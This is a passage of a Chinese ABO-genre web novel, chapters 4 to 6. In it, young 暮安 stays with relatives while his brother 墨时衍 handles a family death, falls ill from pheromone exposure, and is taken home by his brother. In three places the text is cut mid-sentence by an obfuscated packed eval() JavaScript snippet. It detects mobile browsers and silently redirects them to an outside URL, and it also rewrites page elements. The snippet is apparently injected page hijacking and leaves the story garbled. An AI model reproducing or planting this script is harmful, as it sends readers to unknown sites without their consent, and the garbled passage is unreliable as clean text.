雨势见小,天气预报也说台风已沿海岸线向北移动,全港解除雷暴警报。 暮安站在门厅处往外看,眼神中满是想出去踩水的盼望。 但他低头看了眼自己的新鞋子,又舍不得弄脏。 韩叔和钟姨都不见了,哥哥刚才接了个电话也不知道去了哪里。 暮安就那么一个人安静站着,看了会雨。 不知过去多久,书房的门开了,钟姨忽然在身后急切地喊他:“安安,小少爷!” 暮安回头,钟姨跑过来抱住他,眼眶红着,嘴唇有点哆嗦,来来回回摸了好几下他的头发,看起来有很多话想说,却又哽咽住了。 暮安一头雾水,不知道发生了什么事,接着便见墨时衍也朝他走过来,狭长锐利的一双眼睛竟然也有点泛红,里面充斥着隐忍悲痛的红血丝,却什么都没跟暮安说。 只是牵起来他的手,虚浮的脚步有几分摇晃,又很快坚定,推门出去。 钟姨在后面跑着追上来:“大少爷,您要带小少爷去哪?美国那边出了这样的事,老爷子他……但小少爷还小,他还什么都不懂啊……” 墨时衍已经撑开把黑伞,遮住漫天飘落下来的雨幕,挡在暮安头顶。 暮安不明所以,仰着头,努力去看哥哥的脸。 “我要马上回美国,”墨时衍嗓音里像裹了冷雨般镇静,低下头,也让暮安看清自己,“先把他安顿好。” 回去不知道要面对多少凶险,墨时衍没打算让暮安陪着一块。 原本老爷子把他接过来就是答应了暮父要好生教养的,怎么能让他这么小就跟着以身涉险。 赵舟开车送两人驶过跨海大桥出岛,路上墨时衍一直在接电话,打电话,暮安则抱着小恐龙玩偶乖乖坐在一旁。 最后一通电话打给了墨成霄,论起来他是墨时衍的远房叔叔,早年间已经从墨家分出去了,现在自己做点小生意,跟墨氏基本没有牵扯,墨时衍也是因为小时候父母跟墨成霄和蓝悦夫妇交好,所以这些年一直私下有联系。 原本把暮安再送回福利院托管几天也可以,李院长不会不收,但刚把他从那接出来,墨时衍不想再送他回去。 况且李院长是受的老爷子恩惠,不是他墨时衍的,如今事态变动,难讲这期间会不会有什么差错。 不能再冒一点风险。 车很快在一片高档别墅区内停下,墨成霄近几年生意做得不错,对墨时衍的请求也一口应下。 多照顾个小孩子而已,反正家里有保姆,不是什么麻烦事。 暮安被墨时衍领着进门,他内心深处对这里产生了些抗拒。 虽然只在岛上城堡住了两晚,可他已经把那里当成家了。 已经有了家,为什么还要来别人家呢? 他全程有点紧张,一直攥着墨时衍手指不肯松开,眼神怯怯的,藏在墨时衍腿后,打量着莫名其妙出现在面前的这一家。 墨成霄也有个儿子,叫墨轩竹,看起来跟暮安差不多大,此刻也不好意思地躲在自己父母身后,偷偷摸摸盯着暮安看。 还是蓝悦在背后推了儿子一把:“轩轩,家里来了新朋友你不开心吗?这是安安,以后也是你的弟弟,你作为哥哥要好好照顾弟弟,带弟弟上楼玩去。” 墨轩竹鼓足勇气,磨磨蹭蹭朝暮安走过来,见眼前的小弟弟漂亮又可爱,一双浅棕色的大眼睛忽闪忽闪,简直比他家里的所有娃娃长得都好看,一时间脸都红了,朝暮安伸出手。 “安安弟弟,我们上去玩吧,我可以给你玩我的玩具,我有很多很多玩具,一屋子都是,都可以给你玩。” 暮安又往墨时衍身后缩了下,一只胳膊干脆搂住哥哥的腿,看着墨轩竹摇摇头,不愿跟他去。 墨轩竹见弟弟居然拒绝自己,回头冲着父母一瘪嘴就要哭:“爸爸妈妈,弟弟不跟我玩。” 墨时衍蹲下身,跟暮安平视,看着他的眼睛询问:“安安,你在这里跟轩轩哥哥住几天,你们可以每天都一起玩,哥哥可能要先离开一段时间,等到事情都处理完了就马上来接你,好不好?” 暮安原本只是紧张,一听这话,知道了墨时衍要走,清凌凌的大眼睛眨了两下,眼泪立即像是断了线的珠子接连滚下来。 他哭起来也不出声,眼睛和鼻尖都红红的,可怜兮兮的掉眼泪,小手紧紧攥着墨时衍衣服,说什么都不肯松,没几下就已经把背带裤的系带哭湿了。 墨时衍没了办法,把他先领到了一边去,轻声跟他讲道理,安慰他的情绪。 两人之间像是已经生出种很奇妙的磁场。 旁边的一家三口看着,插不进去嘴。 “好了安安,别哭了,眼睛会哭坏掉。” “只是住几天而已,我很快就回来接你好么?” “给你买很多荔枝,你想吃多少都可以,好不好?” 听到这暮安眼睛明显亮了下,眨巴眨巴,泪水止住了。 墨时衍温声:“也可以看一整天电视,哥哥不管。” 暮安这回彻底不哭了,自己用袖子使劲擦了擦脸上的泪痕,跟墨时衍拉钩之后,才抽抽嗒嗒跟着墨时衍回来了。 墨轩竹又试探性的伸手,暮安抬头看了墨时衍一眼,这才慢慢把自己的手放上去。 墨轩竹兴奋的像窜天猴,拉着暮安就往楼上跑,边跑边跟暮安介绍他的一大堆玩具。 墨时衍看着两个小崽子身影消失在楼梯口,这才像是缓了口气。 蓝悦见他这副样子,一时觉得心疼,他也不过是个十几岁的孩子而已,这么重的担子,以后就要压在他一个人身上。 “时衍,节哀。” 墨成霄道:“老爷子年纪大了,算是寿终正寝,但叔父说句没人性的话,你不能太难过,后续肯定还有很多事,尤其是本家那些乱七八糟的人,二房三房他们不会消停,其他也不是省油的灯,你要留着精力用来处理这些。” 墨时衍沉默着点了点头。 蓝悦宽慰他:“安安在这里你尽管放心,让他住多长时间都可以,叔父叔母一定帮你照顾好他,轩轩也会陪他玩,不会让他孤单难过,你这段时间也一定要照顾好自己,记住自己的身体最重要啊。” 临走前墨时衍上楼看了眼,暮安正和墨轩竹在玩具房里玩汽车模型,两人一人一辆小汽车,在比赛谁的跑得快。 同龄孩子很快就能打成一片,见暮安玩的开心,好像确实不用怎么担心。 蓝悦在身后悄声问:“要不要进去打个招呼再走?” 墨时衍轻轻关了门:“算了,不打扰他们。” 暮安并不知道哥哥什么时候走的,他和墨轩竹在房间里玩了很久的小汽车,玩到他已经累了,不想玩了。 可墨轩竹跟个皮猴子似的,还在上蹿下跳,一会把车开上桌子,一会爬上墙,还一直邀请暮安跟他一块。 暮安坐在木地板上,白皙的小脸热得泛红,用手在脸上扇了扇,还是有点热。 他想出去凉快凉快,开了房门走出去,却见原本站在楼下的三个人都不见了。 哥哥也不见了。 他心里顿时一慌,噔噔噔跑下楼,围着客厅到处找了一圈也没见着哥哥人影。 墨轩竹从楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谁知道胳膊忽然被只胖乎乎的小手晃了晃,下面一团小小的黑影扒着栏杆踮着脚,用很轻很轻的声音快速说了句“对不起——”,然后就跟做贼似的钻回自己被窝。 暮安听到了,软绵绵的脸蛋在小恐龙上蹭了蹭,在心里回了句“没关系”,继续睡了。 * 早上醒来两个小崽关系还有点别扭。 吃早餐的时候蓝悦几次跟墨轩竹使眼色,要他主动点跟弟弟搭话。 但墨轩竹像是不好意思,好几次都是偷瞄暮安几眼又赶紧低下头。 墨成霄出门上班,蓝悦正好也有点事要出去下,走之前专门嘱咐墨轩竹不准欺负弟弟。 两人都坐在沙发上看电视,遥控器在墨轩竹手里,他很想问问暮安喜欢看什么动画片,他们可以一起看,但看着暮安乖巧的侧脸,他又说不出话了,干脆把遥控器直接塞进了暮安手里。 暮安疑惑的转头看他,墨轩竹连忙把桌子上的水果往暮安面前推了推。 很明显的示好意思。 暮安看了眼,里面正好有几颗荔枝,他便剥开吃了。 墨轩竹看出他喜欢,献宝似的跑去厨房,提着满满当当一小筐荔枝过来了。 “安安弟弟,这里还有,都给你吃吧。” 暮安眼中满是惊喜,冲他笑了笑,还拍拍自己旁边的沙发让他提过去。 墨轩竹也开心的不得了,和暮安你一个我一个,一下午吃没了小半筐荔枝。 趁着蓝悦回来前,两个小崽还不忘把战场打扫干净。 一连吃了几天,剩下的荔枝也被吃光了,墨轩竹吃得少,大部分都进了暮安的肚子。 荔枝吃多了是会上火,暮安现在才知道这是什么意思。 晚上他才刚躺到床上,就感觉鼻子里热乎乎的,用手一摸,有点湿。 他以为自己感冒了流鼻涕,便悄悄打开小床灯想去拿点纸巾,谁知道却看见自己手指间一片红。 鼻子里还有血在啪嗒啪嗒不停滴落,弄得他衣服上都染满血花。 暮安直接蒙住了,举着手呆呆看着上面的鲜血,墨轩竹一进门被他吓了一跳,拿着浴巾就冲过来堵住了他的鼻子。 “安安!你流血了!”墨轩竹急切道,“完蛋了,你要死了!” 暮安原本还没什么反应,听见墨轩竹说他要死了,眼眶以肉眼可见的速度变红,变湿,漂亮的大眼睛无措地眨了眨。 墨轩竹到底比他大了半年,见识也多:“我没骗你,你真的要死了,我在我妈妈的手机上看的,那些人只要一流鼻血就得住进医院,然后很快就会死掉,你知道死掉是什么意思吗?死了就是没了,就是再也见不到爸爸妈妈了。” 暮安已经在哭了,墨轩竹还好死不死的补充:“你流了这么多血,应该也快了。” 暮安自己用浴巾捏出个细长的条条,堵住了鼻孔,血总算不再流了。 可是这有什么用呢,他都要死了。 墨轩竹也很伤心:“安安,你别哭了,我也不想让你死,我们才刚成为好朋友,而且你要是死在这里了,你哥哥都不知道。” 哪壶不开提哪壶。 暮安嘴巴一瘪,想到哥哥还说过很快就来接自己,应该也接不到了吧。 他哭得更厉害了,濡湿的长睫都被眼泪黏成一缕一缕。 墨轩竹赶紧道:“哎没关系,我有电话手表,你可以给你哥哥打电话啊,你知道他的电话号码吗?” 暮安赶紧点点头,他从钟姨那里听来的,已经背下来了。 墨轩竹把自己电话手表拿来,暮安也擦干净眼泪。 两个小崽坐在床前,一起给墨时衍打过去最后一通电话。 铃声响了几下被人接通,对面人的嗓音听起来有几分疲惫沙哑。 “喂,你好。” 暮安原本都不哭了的,听到哥哥的声音,一下子又控制不住眼泪决堤,两手紧紧握着手表,不说话,只有细细的抽泣声。 墨时衍这几天也不安稳,老爷子过世后要全方位封锁消息,再是遗体处理,秘密葬礼,遗嘱公证,遗产分配,股权继承等一堆焦头烂额的事,墨成霄提醒的没错,他确实没时间伤心,他对这些事经验尚且不足,边学边做,还要应付着本家那些蠢蠢欲动的豺狼,分身乏术。 但电话接通的瞬间,墨时衍便知道是谁。 “安安。” 暮安顿了顿,听见那道声音变得轻柔了些。 “怎么哭了?” 5. 第 5 章 暮安心里的委屈更甚,对着手表伤心欲绝。 电话那边似乎有人喊了墨时衍一声,他用英语回了句什么,继续安慰暮安。 “安安,打电话是要讲话的,不然哥哥看不到你,也不知道你想说什么,你是有什么事情要告诉我么?” 暮安唇瓣蠕动了几下,对面呼吸声静静传递在耳边,也在等他开口。 但暮安最后还是什么都没说出来。 墨时衍也有点心急,又喊了声:“安安。” 旁边的墨轩竹把手表拿过去:“时衍哥哥,我是轩轩,还是我帮安安说吧,其实这是他最后一次给你打电话了,因为他马上就要……” 剩下的话还没说完,电话手表就关机了。 墨轩竹嘟囔着:“不好意思,忘记充电了。” 暮安抱着膝盖,小脸担在手臂上,一双眼睛里泪意盈盈,鼻血早就止住了,现在浴巾已经用来盛接他的眼泪。 昏黄灯光下,一颗颗泪珠像是透明的珍珠。 墨轩竹在幼儿园没见过眼泪这么多的小朋友,他的安安弟弟真是厉害,便也坐在暮安旁边陪他一起伤心。 墨成霄和蓝悦急匆匆推门进来的时候,差点没被暮安衣服上的血迹吓死。 两人抱着暮安直奔医院,医生看过之后,只说应该是天热上火了,少吃温补食物,并且一定要多喝水。 夫妇俩终于放心下来,回家后就给暮安倒了一大杯水,看着他喝完,又抓住墨轩竹详细审问,这才知道原来墨轩竹这两天给暮安吃了一整筐的荔枝。 这么小的孩子,不上火才怪。 蓝悦抓住墨轩竹就要揍他屁股,暮安这次没袖手旁观,赶紧跑过去牢牢抱住蓝悦胳膊,仰着小脸冲她使劲摇头,请他不要揍墨轩竹了,他现在和墨轩竹已经建立革命友谊,既然他没死,那他们还是好朋友。 蓝悦见暮安下巴上还有点没擦干净的血迹,弯腰把暮安抱起来,问他:“你不想让叔母教训轩轩哥哥吗?” 暮安摇头,却也知道叔母是担心他,为他好,所以冲叔母笑了笑,小手主动圈住了蓝悦的脖子,乖乖趴到了她肩上。 蓝悦心软的一塌糊涂,抱着暮安上楼给他洗脸。 墨轩竹躲过一劫,和暮安在空气中互相挤了挤眼睛。 蓝悦不敢再让墨轩竹跟暮安独自呆在家,要不是墨时衍一个电话打过来,他们还不知道那两个小鬼能在房间哭天抢地到什么时候。 流个鼻血而已,怎么就扯到要死了。 后来墨轩竹才承认,他看的是他妈妈手机里放的狗血电视剧,里面人动不动就吐血流鼻血的,总之要么是胃癌要么是白血病,都活不久。 蓝悦再出门就直接带着两个小的一起去,她跟朋友们喝咖啡吃下午茶,把墨轩竹和暮安直接放到儿童乐园去,让保姆陪着他们玩,能时时在眼皮子底下看着放心些。 两人能在乐园里玩一下午,爬上爬下累得呼哧带喘,暮安体力明显比不上壮实的墨轩竹,他一会就累得脸颊和脖子里都是细汗,两颊也粉粉的冒着热气,经常跑过来要求保姆阿姨给他擦擦汗。 墨轩竹就没那么爱干净,玩得一身臭汗,用袖子扯着一抹就行了。 蓝悦带他们几乎玩遍了港市的几大商场,墨轩竹越来越不想让暮安走,好不容易在暑假里也有个玩伴,而且还这么可爱漂亮,到时候幼儿园开学他要跟小朋友们炫耀自己多了个好朋友。 蓝悦很不好意思的打断他的幻想:“抱歉了宝贝,你幼儿园的朋友怕是没法跟你分享喜悦了。” 墨轩竹大惊失色:“为什么!” 蓝悦笑着道:“因为你开学要上一年级了,说不定到时候你可以跟安安弟弟上同一所学校,你们还能一起玩。” 墨轩竹充满期待的看着暮安,可暮安眼睛发直,在走神。 见两人玩得差不多了,蓝悦催着他们快点出来穿鞋子,准备回家了。 谁知儿童乐园旁边的咖啡馆忽然发生躁动,里面一群人冲出来,还有几个救生员抱着抑制剂跑进去了。 没一会,商场拉起警报。 “全体人员请注意,请立即根据工作人员指引进行紧急疏散,一位S级Alpha刚刚发生信息素暴乱,可能会对您的人身安全造成危害,请立即疏散,立即疏散!” 蓝悦是Omega,听了广播赶紧调高抑制器挡位,一手一个拉着俩小孩随着人流快速向外撤散。 墨轩竹作为一个没分化的小屁孩什么感觉都没有,也闻不到空气中渐渐弥漫过来的alpha信息素。 他好奇问道:“妈妈,S级alpha是什么意思?” 蓝悦解释:“就是alpha中的最高等级,信息素水平高,影响范围光,力度大,稍有不慎就会产生危害,所以最好要远离。” 墨轩竹听不懂,又问:“就是最厉害的人的意思吗?” 蓝悦想了想:“也不是,社会上还有极少数的enigma,不过妈妈也没遇见过……” 正说着,蓝悦忽然察觉暮安有点不对劲。 从刚才开始他脸颊就一直很红,还以为是热的,这会儿更红了点,唇色却很是苍白,呼吸像是也有点困难,瘦弱的胸脯在竭力起伏,充满稚气的小脸上显露出些许难受。 蓝悦连忙把墨轩竹塞到保姆手里,把暮安抱起来继续朝外走,边走边拍着暮安后背,喊他的名字。 暮安闻到空气中有股很奇怪的味道,他不知道那是信息素,只知道自己闻着闻着,趴在蓝悦肩上便直接睡了过去。 * 暮安这一觉睡得又深又沉,仿佛做了个长长的梦。 梦里的他一会在雨地里踩水,一会在白兰树下捡花瓣,一会又变成了个小恐龙,爬到大床上睡觉。 他把哥哥的枕头占了,哥哥也没跟他抢。 不是说好了过几天就来接他的吗,都过了好几个几天了,怎么还不来呢。 暮安迷迷糊糊,听到有人在他床前说话。 医生:“是Accelerated Phenotypic Differentiation Syndrome,医学上简称APD Syndrome,也就是表型加速分化综合征,但是各位放心,只要干预及时,不会对身体正常发育有什么影响。” 蓝悦:“怎么做干预?” 医生:“他感受到信息素的症状跟过敏差不多,只要隔绝过敏原就行了。” 墨成霄:“那给他买个抑制器带着?大人带的这种能行吗?这东西有没有儿童专用的?” 蓝悦:“多买几个,两只手都带上,必须隔绝!” 墨成霄:“要不买个进口的那种,叫什么,什么颈环?效果是不是好些?” 蓝悦:“不行不行,太显眼……” 两人已经开始在病房里热烈讨论,医生问道:“两位,你们是孩子的家属?” 两人齐声:“不是啊。” 医生:“……” 医生:“那家属是哪位?” “额,他家属……” 病房门忽得被人从外一把推开,墨时衍走进来,没让身后人跟着,反手关了门。 墨成霄和蓝悦都有点惊讶,联系不上墨时衍的时候他们都担心是不是美国那边出了什么状况,却没想到他已经在回国的飞机上。 十日不见,先前还能撑着一副冷静理智站在他们家门前的墨时衍,此刻形容有些落魄,狼狈。 一丝不苟的衬衫划破了口子,手臂上好像也有点伤,但他没在意,跟两人打了招呼。 医生上上下下看了他几眼,怎么看都觉得年纪不大。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051691|179055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你是家属?” 墨时衍走到床边,瞧见那张苍白脆弱的小脸上没什么血色,浓密长睫紧紧闭着,在下眼睑扫出一小片柔和阴影。 一路上躁动难安的心情仿佛瞬间涌上股无法名状的平静。 墨时衍应声:“是。” 医生把刚才的话又重复了遍,墨时衍听得明白,是没什么大问题,只要在暮安成长过程中隔绝掉外界信息素即可。 “像今天这种意外情况是第一次发生,以后多注意着点就行了,养孩子肯定不容易,APD尤其需要费心。” 蓝悦对此事感到万分抱歉,毕竟暮安是她带出去的,她本来就心疼这孩子,现在更是愧疚的要命。 墨时衍不会分不清好歹,叔父叔母是帮他照看暮安,看暮安鼓起来的脸颊肉就知道最近一定吃胖了些,可见被顾得好极了。 他端正谢过二人。 墨成霄看着他手臂上的伤:“回来的路上出事了?” 墨时衍随意擦了下渗出来的血珠:“小事。” 如果在雨夜被几辆车追击被迫撞翻隔离带才停下来算是小事的话。 “老爷子去世的消息还没传到国内,他们就这么迫不及待要动手了?”墨成霄气愤不已,“你怎么也算是家里小辈,就这么容不得你?” 蓝悦看不下去:“我去找医生来给你包扎下,伤口进水容易感染,雨水都不干净。” “叔父,叔母,”墨时衍语调平静,像被打磨光滑的峭石,“你们先带轩轩回去休息吧,这里有我。” 蓝悦还想再说什么,被墨成霄揽了下肩膀:“时衍,有什么事情需要帮忙就告诉我,安安这孩子……我和你叔母都很喜欢,这段时间他跟轩轩相处也很融洽,我们非常欢迎他在家里继续住下去。” 蓝悦也连忙附和:“对,对……” 他们的好意很明确,如果墨时衍开口,他们愿意抚养暮安。 墨时衍没说什么,轻轻点头。 事实上,这段时间他逐渐想通了一件事。 接回暮安,成了老爷子最后的遗愿。 病房内只剩下两人。 墨时衍在床前坐了会,摸了摸露在外面的小手,有点凉,用手慢慢托着放回了被子底下。 外面又下起雨来了,他身上带着潮气,头发也有点湿,不知道是因为伤口淋了雨,还是一直紧紧绷着的那口气松懈了,他感觉头有点发烫,喉咙也一阵阵涩痛。 但暮安还没醒,他不敢随便离开,便用没伤着的那只手臂放在床边,俯身在上面趴了会。 不知道有没有十分钟,病房外竟然又响起骚乱。 墨时衍看了眼还在熟睡中的暮安,给他掖了掖被子,拖着有点沉重的脚步出去。 暮安几乎是在门关上的瞬间就睁开了眼,有点呆呆地盯着天花板看了会。 房间里只有他一个人,他掀开被子,趴在病床上用脚先够着地,缓缓滑下来,自己穿好鞋子,慢吞吞朝门口走。 他知道这里是医院,可不记得自己怎么来的。 睡觉的时候好像听到哥哥的声音了,但是醒来又没有了。 他有点失落,推开病房门准备出去,可看清走廊内的景象后,他又万分震惊地顿住,半张小脸掩藏在白色房门边。 “哥,哥哥……”门内传来声微不足道的软弱呼声。 果然是哥哥! 他看到哥哥站在一群人中间,哥哥受伤了,手指好像在滴血,看着就很痛。 可他刚才喊得声音太小了,没人听到。 暮安很想让墨时衍快点过来,急地在门后跺了跺脚,只能又用了点力气,大声朝外面喊道:“哥哥——!” 不远处的身影果然顿了下。 墨时衍有些错愕,转过头,见刚才那道软软的声音居然是暮安。 6. 第 6 章 暮安在叫他。 墨时衍第一时间反应过来,让赵舟把人带外边去,别在暮安眼皮底下。 暮安还不太懂他们在做什么,只是看到一伙人夹着另一伙人轰隆隆出去了,还留下了两个给医院的走廊擦地。 是在擦血迹。 墨时衍快步朝他过来,打开房门,在他面前蹲下身。 暮安这些天是长了点肉,天天跟墨轩竹一块吃饭,被他带的都能吃了些,但个头还是不高,总体来说也比同龄孩子瘦些。 墨时衍难掩惊讶:“刚才叫我什么?” 暮安这会儿脸色好看多了,白嫩嫩的脸蛋上有了点血色,嘴唇也不那么苍白了,瞧着又成了漂亮洋娃娃。 琥珀色大眼睛忽闪两下,又软乎乎的喊了句:“哥哥。” 带着稚气的嗓音听起来奶里奶气的,喊人也像撒娇。 墨时衍摸摸他的头发:“会讲话了么,安安。” 暮安理直气壮:“会讲话。” 先前只是不想跟别人讲而已。 墨时衍拉着他的手把他带回病床前,掌心里的一小团肉热乎乎软绵绵的,握着根本不敢使劲,往哪里带,身后的暮安就乖乖跟着往哪里走。 “头晕么?” 暮安摇了摇头。 “还有没有哪里觉得不舒服?” 暮安又摇头。 谁知墨时衍看着他,语气端的像个大人,跟之前给他看病的心理医生一样:“不能点头或者摇头,要张嘴回答,像刚才跟哥哥讲话那样。” 暮安不太情愿,他都已经喊哥哥了,怎么还要他讲。 他不出声,墨时衍也不着急似的,就坐在椅子上一直看他。 暮安坐在床沿边,两条小腿晃晃悠悠,眼睛也滴溜溜乱转。 在哥哥脸上转了几圈,又往下,他还惦记着哥哥的手。 可那只手臂故意背对他垂着,他看不到。 暮安干脆主动伸手过来,想拉哥哥的袖口,但哥哥力气比他大,转了下手腕,干脆把手背到身后去了。 墨时衍问他:“做什么?” 暮安这回憋不住了,指着他藏起来的手臂:“我都看到了,你流血了,比我上次流的还要多。” 没想到墨时衍面不改色:“没有。” 暮安微微瞪大眼睛:“怎么没有,都滴到地板上了,是刚才外面几个叔叔擦干净的。” 墨时衍问道:“你还看到什么了?” 暮安想了想:“好多人,但是我都不认识,我只认识你。” 墨时衍像是松了口气,他担心的是暮安看到什么不干净的画面。 外面的事情赵舟就能处理好,赵舟跟着老爷子的时间不短了,是身边最得力的亲信,他也是后来才知道原来这次跟着他回国前,老爷子就已经让赵舟安排好了身后事,像是一早便有预料。 想到这些,墨时衍眼神又垂了下去。 暮安忽然坐直身子,两手伸到自己口袋里翻找,上上下下都翻了个遍,终于眼睛亮了亮,从膝盖处的一个小兜兜里掏出来个卡通创可贴。 这是有次墨轩竹手指头不小心蹭破了点皮,哭天抢地了一整天,蓝悦找了个创可贴给他包上,说是能止疼,墨轩竹果然一下就不哭了,暮安记住了,也在自己口袋里装了个随身携带。 他低着头小心翼翼地撕开,两手指尖用力捏着边边,对墨时衍急切道:“快点快点,要贴在伤口上。” 说完不等墨时衍回应,他已经从病床上蹦下来,绕到身后蹲在地上,高度正好能看清楚那条被划开血肉的伤口。 暮安愣了愣,看看长长的口子,再看看自己手里只有一点点大的创可贴,琢磨了会,只好把创可贴贴在了伤口中间,然后皱着小脸,轻声询问:“哥哥,你还痛不痛?” 墨时衍根本没想给他看,把他从地上拉起来:“不痛。” 暮安心道果然好有用,放心下来,把散落在床边的包装纸都捡起来丢进了垃圾桶。 他还没察觉到自己已经不知不觉间跟哥哥讲了好多话。 墨时衍等他回来,又帮他重新坐回床沿边,按了下床头铃。 没一会医生进来了,见暮安醒了便又给他上上下下检查了番,问了好些问题。 暮安见床前呼啦啦围了这么多人,打搅他和哥哥说话了,抿着嘴不太高兴,医生问什么都是点点头,摇摇头,不吭声。 墨时衍一直在旁边看着,他比暮安大了太多,小孩的心思已经不太能完全琢磨透,但他的小时候本来也跟大部分孩子不同。 暮安不说话,却时不时就要扭头看他一眼,看见他还在,就乖乖配合医生继续抬抬胳膊抬抬腿。 最后医生说已经没什么事,可以直接回家了。 暮安脸上总算开褶,一骨碌从床上爬起来,自己穿好鞋子,过去拉住了墨时衍的手,等他带自己回家。 墨时衍低头看了他一眼,见他满脸期待,嘴唇微微动了动,却什么都没说,牵着他走出医院。 站到医院楼前,暮安才发现外面又在下雨,墨时衍没立即带他上车。 夜黑雨急,潮气裹着丝丝雨点落到了暮安脸上,他用手背拍了拍,在脸蛋上抹匀了。 他们已经在楼前站了会了,明明赵舟就开着车在不远处等。 暮安拉着墨时衍的手晃了晃,仰着头叫他:“哥哥。” 墨时衍比他高出那么多,在他眼里是高大又伟岸的,像座能遮风挡雨的大山,也能伸伸手就把他从冷风暴雨中捞回来。 “哥哥。”暮安又喊了声。 墨时衍在他面前蹲下,单膝跪地,保持与他眼睛相同的高度,用一种平等的,尊重的眼神看着他。 “安安,哥哥再问你一遍,你要跟哥哥回家吗?” 家里没有爸爸妈妈,没有祖父祖母,没有其他兄弟姐妹。 暮安根本没思考,用力点头:“要啊。” 墨时衍怕他没听懂,又道:“家里以后只有哥哥一个人了。” 暮安以为墨时衍把他给忘了,连忙伸出两根白白嫩嫩的手指,并到一起举着给墨时衍看。 “不是一个人,还有我,是两个人。” 墨时衍笑了下,眼眶有些发红:“加上你才是两个人。” “加上我加上我,”暮安觉得这是理所当然,“家里要有两个人。” 不然一个人的怎么能称为家。 墨时衍问道:“那你想成为哥哥的家人吗?” 暮安忙道:“想的想的。” “要是哥哥还会像之前那样管你,你会不会伤心生气,会不会嫌烦,会不会以后也离开哥哥?” 小孩嘴甜起来谁都比不上。 暮安认认真真道:“不会生气,不会嫌烦。” 一边说着,两只手臂过来环住了墨时衍的后颈,软和热乎的身子也乖乖依偎进他怀里,像只幼小的雏鸟般,将脑袋轻轻担在了他肩膀上,呼吸声盖过了狂风暴雨。 许诺一般,闷闷的声音说道:“不会离开哥哥。” 失去了一个家人,却又得到了一个家人。 墨时衍用没贴创可贴的那只手搂住他,侧脸在他柔软的头发上轻轻蹭了蹭。 暮安好像感觉到后颈处也有雨点落下来。 很热,很烫,一会又消失不见。 两道身影在冰冷雨夜拥在一起,像被遗弃在漆黑偌大的丛林,孤单寂寞只能互相舔舐伤口的两只小兽。 过了会,他听见哥哥说:“回家吧。” 接着便被人抱起来,用外套遮着,护着走进了雨中。 到家后雨还没停,下车也是哥哥抱着他,这回他的鞋子和裤腿都没湿。 哥哥的怀抱还没那么宽阔,但对暮安来说够用了,他老老实实把自己身体缩进那件外套里,四肢像是八爪鱼紧紧扒在哥哥身上,悄悄从衣领处露出双眼睛,脸颊肉因为走动被哥哥肩膀挤得一鼓一鼓的。 他全程很乖的趴在怀里,不声不响,墨时衍把他往上轻轻颠了下,给他把蹭上去的裤腿扯下来,盖住两条白藕段似的小腿。 暮安没什么反应,墨时衍以为他已经睡了,带他进了正厅后也没放下,直接抱着上了楼。 钟姨已经提前把暮安房间打扫好了,轻手轻脚给两人开了门,墨时衍才刚踏进去,怀里两条小腿就不满地踢了踢。 “不睡这里。” 充满稚气的嗓音从衣服下传出来,倒把钟姨吓了一跳,目瞪口呆的看着墨时衍,小声问:“小少爷会说话了?” “他一直都会说。” 墨时衍一边说着,一边准备把怀里小崽子放下来。 单手抱了他一路,伤了的那只手臂没敢使劲,一直虚拢着,这会儿墨时衍觉得头晕的更厉害了,可能有点发烧。 暮安只觉得哥哥身上热烘烘的,这么趴着挺舒服,一被放到地上两只脚就蜷起来,放不下。 钟姨看出墨时衍脸色不怎么好,额前出了层虚汗,伸手想把暮安接过来。 “小少爷说话真可爱啊,声音也好听,想睡哪里跟钟姨说,钟姨带你去。” 谁知道暮安也不让别人抱,两手使劲圈着墨时衍脖子不撒手,脸在他肩上拱来拱去。 他确实有点困了,精神头还没恢复过来,嘟囔着:“哥哥带我去,去楼上睡。” 钟姨颇为无奈,看得出两人关系并没有因为短暂的分别变得生疏,反而更好了些。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051692|179055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但如果有人能读懂暮安的内心就知道他这不是在撒娇。其实是有点不安和害怕。 他和墨时衍不同的是,他早已经在从福利院被接走的那天,听见墨时衍说以后会是他的哥哥,便把这句话记住了,认定了。 小孩子的世界比大人单纯的多,不需要那么多深谋远虑,计算考量,认定了就是认定了,不能变的。 可哥哥把他留下一走那么多天,他每天有多怕哥哥不会回来接他了。 墨时衍没让钟姨抱他,转身带他上了三楼。 进了主卧暮安才终于肯抬起头,墨时衍把他放下后,他拉过墨时衍那只受伤的手臂又看了眼,见创可贴还好好贴在上面,在边缘轻轻按了按,这才放心下来。 “今晚别洗澡了,”墨时衍对他说道,“医生说你今天要早点睡觉,养足精神。” 暮安点头:“我知道的,我现在就要睡了。” 他自己去浴室洗漱,但主卧里的洗漱台要高一些,他伸着手还有点够不着,之前在这房间睡觉他都是先在自己房里洗漱完才过来,那间本来就是儿童房,什么东西都是按照他高度改的。 他踮着脚,把袖子撸起来,放到水龙头下冲了个手,结果因为胳膊高高举着,水流顺着细细白白的手腕就流进袖子里了,等他洗完手,胸口居然都湿了。 他赶紧关了水,甩着两条袖子出来,磨磨蹭蹭走到墨时衍跟前。 